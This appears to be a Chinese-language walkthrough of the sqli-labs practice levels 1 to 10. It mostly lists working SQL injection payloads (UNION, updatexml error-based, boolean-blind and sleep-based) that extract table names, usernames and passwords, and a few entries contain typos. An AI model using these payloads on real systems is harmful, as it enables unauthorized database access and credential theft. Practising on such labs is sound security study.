目录
Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)
Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)
Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)
Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)
Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)
一、手工UNION联合查询注入
1、输入?id=1’发现报错,输入?id=1’-- -(-- -为注释符),页面回显正常,说明是单引号闭合注入。
2、爆数据库名
?id=-1' union select 1,2,database() -- - (得到“security”数据库)
3、爆表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- -
4、爆列名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' -- -
5、爆数据
?id=-1' union select 1,2,group_concat(username,0x3a,password) from users -- - (0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的’:’ ,用以分割pasword和username)。
Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)
1、 通过页面回显判断为数字注入
2、爆数据库
?id=-1 union select 1,2,database() -- -
3、爆表名
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- -
4、爆字段
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' -- -
5、爆数据
?id=-1 union select 1,2,group_concat(username,0x3a,password) from users -- -
Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)
1、 输入?id=1'发现报错
通过页面回显判断注入点为')闭合
2、爆破数据库名
?id=-1') union select 1,2,database() -- -
3、爆表名
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- -
4、爆字段
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' -- -
5、爆数据
?id=-1') union select 1,2,group_concat(username,0x3a,password) from users -- -
Less-4
1、尝试输入?id=1',页面回显正常
再次尝试输入?id=1",我们发现报错了
通过页面回显我们判断注入点为“)闭合。
2、爆数据库
?id=-1") union select 1,2,database()-- -
3、爆表名
?id=-1") union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=database()-- -
4、爆字段
?id--1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’-- -
5、爆数据
?id=-1") union select 1,2,group_concat(username,0x3a,password) from users-- -
Less-5(报错注入)
1、我们尝试输入?id=1,发现页面有回显
再次输入?id=111,页面没有回显,说明没有回显位,不能使用联合查询注入
我们尝试使用报错注入
1、爆数据库名
?id=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),3)--
-
2、爆表名
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),3)-- - (修改limit x,1中的限定数字,爆破到第一张表为referer,在第三张表爆破到users表)。
3、爆列名
?id=1' and updatexml(1,concat (0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e),3)-- - (修改limit x,1中的限定数字,逐个爆破)
4、爆数据
?id=1' and updatexml (1,concat(0x7e,(select concat(id,0x7e,username,0x7e,password) from users limit 0,1),0x7e),3)-- - (修改limit x,1中的限定数字,逐个爆破)
Less-6(报错注入)
?id=1" and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),3)-- - (修改limit x,1中的限定数字,逐个爆破)
?id=1" and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where schema_name=database() limit 0,1)0x7e),3)-- - (修改limit x,1中的限定数字,逐个爆破)
?id=1" and updatexml (1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),3)-- - (修改limit x,1中的限定数字,逐个爆破
)
?id=1" and updatexml(1,concat(0x7e,(select concat(id,0x7e,username,0x7e,password) from users limit 0,1),0x7e),3)-- -
Less-7(略)
Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)
?id=1' and left((select database()),1)='s'-- -
?id=1' and left ((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' -- - (修改limit x,1和left中的位数限定数字,爆破到第一张表为referer,终于在第三张表爆破到user表,名为users)。
?id=1' and left ((select column_name from information_schema.columns where table_name='users' limit 4,1),10)='password'-- -
?id=1' and left ((select column_name from information_schema.columns where table_name='users' limit 9,1),10)='username'-- -
?id=1' and left((select username from users order by id limit 0,1),1)='d' -- -
?id=1' and left((select password from users order by id limit 0,1),1)='d' -- -
Less-9 (延时注入)
1、我们尝试闭合,试了很多种方法后发现不论我们输入什么页面都回显正常。
2、我们查看源码
3、通过分析源码我们可以考虑用延时注入(因为页面总是回显you are in . . . . . . .)
4、判断注入点
1' and sleep(5)-- - 页面卡住五秒,说明存在注入点。
5、判断数据库长度
?id=1' and if(length(database())=8,sleep(5),1)-- - 页面卡住五秒说明数据库长度为8
猜解数据库名
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1)-- -
6、猜解数据库的表名
?id=1' and if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101,sleep(5),1)-- -
表名的第一个字符为e(ASCII码:101),照此方法依次猜出表名。
?id=1' and if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1)))=117,sleep(5),1)-- - 第四张表为users表
7、猜解字段名(列名)
?id=1' and if((select ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))=117, sleep(5),0)-- - username
?id=1' and if((select ascii(substr((select column_name from information_schema.columns where table_name='users' limit 4,1),1,1)))=112, sleep(5),0)-- - password
8、猜解数据
?id=1' and if((select ascii(substr((select username from users limit 0,1),1,1)))=68,sleep(5),1)-- -
?id=1' and if((select ascii(substr((select password from users limit 0,1),1,1)))=68,sleep(5),1)-- -
第一个用户名(username)为Dumb,密码(password)为Dumb。按照此方法依次猜解出数据。
Less-10(延时注入)
1、我们尝试闭合,不论我们输入什么都会显示you are in. . . . . .
2、查看源码
我们发现是双引号闭合,过滤方式和第九关差不多,所以我们尝试使用延时注入。
3、判断注入点。
?id=1" and sleep(5)-- - 若页面卡住五秒,则存在注入点。
4、判断数据库长度
?id=1" and if(length(database())=8,sleep(5),1)-- - 页面卡住5秒,说明数据库长度为8。
5、猜解数据库名
?id=1" and if(ascii(substr(database(),1,1))=115,sleep(5),1)-- -
6、猜解表名
?id=1" and if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101,sleep(5),1)-- -
第一个表名为email,表名的第一个字符为e(ASCII码:101),照此方法依次猜出表名。
7、猜解列名(字段名)
?id=1" and if((select ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))=117,sleep(5),0)-- - username
?id=1" and if((select ascii(substr((select column_name from information_schema.columns where table_name='users' limit 4,1),1,1)))=112, sleep(5),1)-- - password
8、猜解数据
?id=1" and if((select ascii(substr((select username from users limit 0,1),1,1)))=68,sleep(5),1)-- -
?id=1" and if((select ascii(substr((select password from users limit 0,1),1,1)))=68,sleep(5),1)-- -